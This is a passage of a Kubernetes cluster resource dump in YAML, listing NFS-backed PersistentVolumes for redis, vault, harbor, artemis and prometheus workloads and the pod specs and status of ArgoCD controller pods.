      uid: 44b385d5-6ef0-46cf-bbfa-2ad07ad14adf
    nfs:
      path: /srv/nfs/redis-redis-data-redis-master-0-pvc-44b385d5-6ef0-46cf-bbfa-2ad07ad14adf
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:02Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:02Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-56c6fcb3-806a-4418-8146-e3d5371e9a7f
    resourceVersion: "1129491"
    uid: d1a12da3-c573-497c-af2d-124b99810c34
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: redis-data-redis-replicas-0
      namespace: redis
      resourceVersion: "1129468"
      uid: 56c6fcb3-806a-4418-8146-e3d5371e9a7f
    nfs:
      path: /srv/nfs/redis-redis-data-redis-replicas-0-pvc-56c6fcb3-806a-4418-8146-e3d5371e9a7f
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:02Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:57Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-5a007367-91c1-46f3-9790-a3e1ea4fa84e
    resourceVersion: "1130123"
    uid: c5b1863e-cece-4b0e-b41a-89ceb93cda6a
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: redis-data-redis-replicas-2
      namespace: redis
      resourceVersion: "1130109"
      uid: 5a007367-91c1-46f3-9790-a3e1ea4fa84e
    nfs:
      path: /srv/nfs/redis-redis-data-redis-replicas-2-pvc-5a007367-91c1-46f3-9790-a3e1ea4fa84e
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:57Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:01:34Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-60cbeb97-f886-4e72-9fab-fc7a70c05f3e
    resourceVersion: "1109395"
    uid: 76b73207-0223-45f1-ae10-7b9c809a12f7
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 10Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-vault-0
      namespace: vault
      resourceVersion: "977184"
      uid: 60cbeb97-f886-4e72-9fab-fc7a70c05f3e
    nfs:
      path: /srv/nfs/vault-data-vault-0-pvc-60cbeb97-f886-4e72-9fab-fc7a70c05f3e
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:01:34Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:03Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-6c555727-2888-4047-bc61-7bfeba0d5392
    resourceVersion: "1113204"
    uid: 47d835f3-c87b-46c6-8e02-25a1b9e3f598
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 5Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-harbor-trivy-0
      namespace: harbor
      resourceVersion: "1113151"
      uid: 6c555727-2888-4047-bc61-7bfeba0d5392
    nfs:
      path: /srv/nfs/harbor-data-harbor-trivy-0-pvc-6c555727-2888-4047-bc61-7bfeba0d5392
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:20:03Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:03Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-78a2249f-dc0d-4dc2-90a1-4db1000feb12
    resourceVersion: "1113217"
    uid: f7185312-0383-4d9b-b100-18909add8c7e
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-harbor-postgresql-0
      namespace: harbor
      resourceVersion: "1113155"
      uid: 78a2249f-dc0d-4dc2-90a1-4db1000feb12
    nfs:
      path: /srv/nfs/harbor-data-harbor-postgresql-0-pvc-78a2249f-dc0d-4dc2-90a1-4db1000feb12
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:20:04Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:55:17Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-7959963d-3649-4ec1-89a3-694e588df96f
    resourceVersion: "1131415"
    uid: 7afb0bc7-796c-4488-b1f1-3d9cd24fa3dd
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-artemis-mariadb-0
      namespace: artemis
      resourceVersion: "1131398"
      uid: 7959963d-3649-4ec1-89a3-694e588df96f
    nfs:
      path: /srv/nfs/artemis-data-artemis-mariadb-0-pvc-7959963d-3649-4ec1-89a3-694e588df96f
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:55:17Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:30Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-93492e00-bea1-42d3-b1af-fd8963b1c1c4
    resourceVersion: "1129730"
    uid: b3bf2784-f8c5-4e8b-9f85-268a62086d31
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: redis-data-redis-replicas-1
      namespace: redis
      resourceVersion: "1129719"
      uid: 93492e00-bea1-42d3-b1af-fd8963b1c1c4
    nfs:
      path: /srv/nfs/redis-redis-data-redis-replicas-1-pvc-93492e00-bea1-42d3-b1af-fd8963b1c1c4
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:30Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-10-19T11:58:01Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-a0019403-2500-49c7-b7e2-667e82e30cdb
    resourceVersion: "6777513"
    uid: 694133af-839a-42e8-999d-d09bc71e3634
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: data-harbor-redis-0
      namespace: harbor
      resourceVersion: "6777489"
      uid: a0019403-2500-49c7-b7e2-667e82e30cdb
    nfs:
      path: /srv/nfs/harbor-data-harbor-redis-0-pvc-a0019403-2500-49c7-b7e2-667e82e30cdb
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-10-19T11:58:02Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:46Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-a1521467-6889-4cf6-ad92-df8ee058c430
    resourceVersion: "1129992"
    uid: fe16f292-2be5-4a8b-8a6b-ca0d86193bab
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 2Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: storage-prometheus-community-alertmanager-0
      namespace: prometheus
      resourceVersion: "1129968"
      uid: a1521467-6889-4cf6-ad92-df8ee058c430
    nfs:
      path: /srv/nfs/prometheus-storage-prometheus-community-alertmanager-0-pvc-a1521467-6889-4cf6-ad92-df8ee058c430
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:46Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T14:49:43Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-a1f68b11-0c57-464c-be56-b361258c134b
    resourceVersion: "1129852"
    uid: 4ab2621c-2fd8-4f71-b172-80474aaa9b7f
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: prometheus-community-server
      namespace: prometheus
      resourceVersion: "1129843"
      uid: a1f68b11-0c57-464c-be56-b361258c134b
    nfs:
      path: /srv/nfs/prometheus-prometheus-community-server-pvc-a1f68b11-0c57-464c-be56-b361258c134b
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T14:49:43Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:01Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-aa86293d-17af-4c64-9566-d82ea420f826
    resourceVersion: "1113019"
    uid: 4cfd0850-2d33-4b49-bb43-fdcacff127e4
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 5Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: harbor-registry
      namespace: harbor
      resourceVersion: "1113004"
      uid: aa86293d-17af-4c64-9566-d82ea420f826
    nfs:
      path: /srv/nfs/harbor-harbor-registry-pvc-aa86293d-17af-4c64-9566-d82ea420f826
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:20:01Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-09-26T13:20:03Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-c220550b-e717-4fcf-a68b-9a2062065796
    resourceVersion: "1113181"
    uid: 79c5174a-92e2-4e9f-b6e8-ea41aeadcbed
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 8Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: redis-data-harbor-redis-master-0
      namespace: harbor
      resourceVersion: "1113145"
      uid: c220550b-e717-4fcf-a68b-9a2062065796
    nfs:
      path: /srv/nfs/harbor-redis-data-harbor-redis-master-0-pvc-c220550b-e717-4fcf-a68b-9a2062065796
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-09-26T13:20:03Z"
    phase: Bound
- apiVersion: v1
  kind: PersistentVolume
  metadata:
    annotations:
      pv.kubernetes.io/provisioned-by: cluster.local/nfs-subdir-external-provisioner
    creationTimestamp: "2025-10-19T11:58:01Z"
    finalizers:
    - kubernetes.io/pv-protection
    name: pvc-cbb1816b-c3e6-4b7e-9220-b4beac3fdc83
    resourceVersion: "6777529"
    uid: 8fbbc546-f66f-414d-acf3-b2cb72fca39c
  spec:
    accessModes:
    - ReadWriteOnce
    capacity:
      storage: 1Gi
    claimRef:
      apiVersion: v1
      kind: PersistentVolumeClaim
      name: database-data-harbor-database-0
      namespace: harbor
      resourceVersion: "6777493"
      uid: cbb1816b-c3e6-4b7e-9220-b4beac3fdc83
    nfs:
      path: /srv/nfs/harbor-database-data-harbor-database-0-pvc-cbb1816b-c3e6-4b7e-9220-b4beac3fdc83
      server: 172.16.30.245
    persistentVolumeReclaimPolicy: Delete
    storageClassName: nfs-client
    volumeMode: Filesystem
  status:
    lastPhaseTransitionTime: "2025-10-19T11:58:02Z"
    phase: Bound
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
      checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
      cni.projectcalico.org/containerID: d987a223ee034626a73a488b83a2526374906fd61a4413023cb67427b18bd7f1
      cni.projectcalico.org/podIP: 192.168.61.206/32
      cni.projectcalico.org/podIPs: 192.168.61.206/32
    creationTimestamp: "2025-10-22T04:00:03Z"
    generateName: argocd-application-controller-
    generation: 1
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: argocd-application-controller-6cd48b7869
      helm.sh/chart: argo-cd-8.5.3
      statefulset.kubernetes.io/pod-name: argocd-application-controller-0
    name: argocd-application-controller-0
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: argocd-application-controller
      uid: eef4bb42-0f97-46e9-9ec8-b985fff33c88
    resourceVersion: "18033980"
    uid: 66a388da-ea01-4ea4-9809-22ac2880d24b
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-application-controller
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - /usr/local/bin/argocd-application-controller
      - --metrics-port=8082
      env:
      - name: ARGOCD_CONTROLLER_REPLICAS
        value: "1"
      - name: ARGOCD_APPLICATION_CONTROLLER_NAME
        value: argocd-application-controller
      - name: ARGOCD_RECONCILIATION_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: timeout.reconciliation
            name: argocd-cm
            optional: true
      - name: ARGOCD_HARD_RECONCILIATION_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: timeout.hard.reconciliation
            name: argocd-cm
            optional: true
      - name: ARGOCD_RECONCILIATION_JITTER
        valueFrom:
          configMapKeyRef:
            key: timeout.reconciliation.jitter
            name: argocd-cm
            optional: true
      - name: ARGOCD_REPO_ERROR_GRACE_PERIOD_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.repo.error.grace.period.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER
        valueFrom:
          configMapKeyRef:
            key: repo.server
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.repo.server.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_STATUS_PROCESSORS
        valueFrom:
          configMapKeyRef:
            key: controller.status.processors
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_OPERATION_PROCESSORS
        valueFrom:
          configMapKeyRef:
            key: controller.operation.processors
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_LOGFORMAT
        valueFrom:
          configMapKeyRef:
            key: controller.log.format
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_LOGLEVEL
        valueFrom:
          configMapKeyRef:
            key: controller.log.level
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_LOG_FORMAT_TIMESTAMP
        valueFrom:
          configMapKeyRef:
            key: log.format.timestamp
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_METRICS_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: controller.metrics.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_TIMEOUT_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.self.heal.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_TIMEOUT_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.self.heal.backoff.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_FACTOR
        valueFrom:
          configMapKeyRef:
            key: controller.self.heal.backoff.factor
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_CAP_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.self.heal.backoff.cap.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SELF_HEAL_BACKOFF_COOLDOWN_SECONDS
        valueFrom:
          configMapKeyRef:
            key: controller.self.heal.backoff.cooldown.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SYNC_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: controller.sync.timeout.seconds
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_PLAINTEXT
        valueFrom:
          configMapKeyRef:
            key: controller.repo.server.plaintext
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_STRICT_TLS
        valueFrom:
          configMapKeyRef:
            key: controller.repo.server.strict.tls
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_PERSIST_RESOURCE_HEALTH
        valueFrom:
          configMapKeyRef:
            key: controller.resource.health.persist
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APP_STATE_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: controller.app.state.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_SERVER
        valueFrom:
          configMapKeyRef:
            key: redis.server
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_COMPRESSION
        valueFrom:
          configMapKeyRef:
            key: redis.compression
            name: argocd-cmd-params-cm
            optional: true
      - name: REDISDB
        valueFrom:
          configMapKeyRef:
            key: redis.db
            name: argocd-cmd-params-cm
            optional: true
      - name: REDIS_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-username
            name: argocd-redis
            optional: true
      - name: REDIS_PASSWORD
        valueFrom:
          secretKeyRef:
            key: auth
            name: argocd-redis
            optional: false
      - name: REDIS_SENTINEL_USERNAME
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-username
            name: argocd-redis
            optional: true
      - name: REDIS_SENTINEL_PASSWORD
        valueFrom:
          secretKeyRef:
            key: redis-sentinel-password
            name: argocd-redis
            optional: true
      - name: ARGOCD_DEFAULT_CACHE_EXPIRATION
        valueFrom:
          configMapKeyRef:
            key: controller.default.cache.expiration
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ADDRESS
        valueFrom:
          configMapKeyRef:
            key: otlp.address
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_INSECURE
        valueFrom:
          configMapKeyRef:
            key: otlp.insecure
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_HEADERS
        valueFrom:
          configMapKeyRef:
            key: otlp.headers
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_OTLP_ATTRS
        valueFrom:
          configMapKeyRef:
            key: otlp.attrs
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_NAMESPACES
        valueFrom:
          configMapKeyRef:
            key: application.namespaces
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_CONTROLLER_SHARDING_ALGORITHM
        valueFrom:
          configMapKeyRef:
            key: controller.sharding.algorithm
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_KUBECTL_PARALLELISM_LIMIT
        valueFrom:
          configMapKeyRef:
            key: controller.kubectl.parallelism.limit
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_K8SCLIENT_RETRY_MAX
        valueFrom:
          configMapKeyRef:
            key: controller.k8sclient.retry.max
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_K8SCLIENT_RETRY_BASE_BACKOFF
        valueFrom:
          configMapKeyRef:
            key: controller.k8sclient.retry.base.backoff
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_SERVER_SIDE_DIFF
        valueFrom:
          configMapKeyRef:
            key: controller.diff.server.side
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_IGNORE_NORMALIZER_JQ_TIMEOUT
        valueFrom:
          configMapKeyRef:
            key: controller.ignore.normalizer.jq.timeout
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_HYDRATOR_ENABLED
        valueFrom:
          configMapKeyRef:
            key: hydrator.enabled
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_CLUSTER_CACHE_BATCH_EVENTS_PROCESSING
        valueFrom:
          configMapKeyRef:
            key: controller.cluster.cache.batch.events.processing
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_CLUSTER_CACHE_EVENTS_PROCESSING_INTERVAL
        valueFrom:
          configMapKeyRef:
            key: controller.cluster.cache.events.processing.interval
            name: argocd-cmd-params-cm
            optional: true
      - name: ARGOCD_APPLICATION_CONTROLLER_COMMIT_SERVER
        valueFrom:
          configMapKeyRef:
            key: commit.server
            name: argocd-cmd-params-cm
            optional: true
      - name: KUBECACHEDIR
        value: /tmp/kubecache
      image: quay.io/argoproj/argocd:v3.1.6
      imagePullPolicy: IfNotPresent
      name: application-controller
      ports:
      - containerPort: 8082
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: metrics
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /app/config/controller/tls
        name: argocd-repo-server-tls
      - mountPath: /home/argocd
        name: argocd-home
      - mountPath: /home/argocd/params
        name: argocd-cmd-params-cm
      - mountPath: /tmp
        name: argocd-application-controller-tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-kmd2j
        readOnly: true
      workingDir: /home/argocd
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: argocd-application-controller-0
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: argocd-application-controller
    serviceAccountName: argocd-application-controller
    subdomain: argocd-application-controller
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: argocd-home
    - emptyDir: {}
      name: argocd-application-controller-tmp
    - name: argocd-repo-server-tls
      secret:
        defaultMode: 420
        items:
        - key: tls.crt
          path: tls.crt
        - key: tls.key
          path: tls.key
        - key: ca.crt
          path: ca.crt
        optional: true
        secretName: argocd-repo-server-tls
    - configMap:
        defaultMode: 420
        items:
        - key: controller.profile.enabled
          path: profiler.enabled
        name: argocd-cmd-params-cm
        optional: true
      name: argocd-cmd-params-cm
    - name: kube-api-access-kmd2j
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:50Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T04:00:04Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:43Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:43Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T04:00:03Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://c5f8c269623d0903959be7acfd799f2c415c76bf17a2a330e875ecedb90a3fe5
      image: quay.io/argoproj/argocd:v3.1.6
      imageID: quay.io/argoproj/argocd@sha256:76290eb39df4b9b6bd6afb5d6038bb18a208b14b468bff329b9edc8f9b2aa714
      lastState:
        terminated:
          containerID: containerd://c8d70e6d56b0dced187d9c2dea841f8bb3ff3ff8b25bf57cdc9dc8f3a7dc6f04
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:00Z"
      name: application-controller
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:50Z"
      volumeMounts:
      - mountPath: /app/config/controller/tls
        name: argocd-repo-server-tls
      - mountPath: /home/argocd
        name: argocd-home
      - mountPath: /home/argocd/params
        name: argocd-cmd-params-cm
      - mountPath: /tmp
        name: argocd-application-controller-tmp
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-kmd2j
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.206
    podIPs:
    - ip: 192.168.61.206
    qosClass: BestEffort
    startTime: "2025-10-22T04:00:04Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
      cni.projectcalico.org/containerID: fcba08b4e3f7da93d2eff882b1de8aa3bed29d3da906806be7f21830193504dc
      cni.projectcalico.org/podIP: 192.168.61.226/32
      cni.projectcalico.org/podIPs: 192.168.61.226/32
    creationTimestamp: "2025-10-18T01:08:37Z"
    generateName: argocd-applicationset-controller-6dc687dfdb-
    generation: 1
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6dc687dfdb
    name: argocd-applicationset-controller-6dc687dfdb-bbpnx
    namespace: argocd
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: argocd-applicationset-controller-6dc687dfdb
      uid: f0682505-5a91-4bbb-980f-1549fd520aab
    resourceVersion: "18033647"
    uid: 9549e405-5094-46b2-96ad-3e993e3f8a0e
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/name: argocd-applicationset-controller
            topologyKey: kubernetes.io/hostname
          weight: 100
    automountServiceAccountToken: true
    containers:
    - args:
      - /usr/local/bin/argocd-applicationset-controller
      - --metrics-addr=:8080
      - --probe-addr=:8081
      - --webhook-addr=:7000
      env:
      - name: NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: ARGOCD_APPLICATIONSET_CONTROLLER_GLOBAL_PRESERVED_ANNOTATIONS
        valueFrom:
          configMapKeyRef:
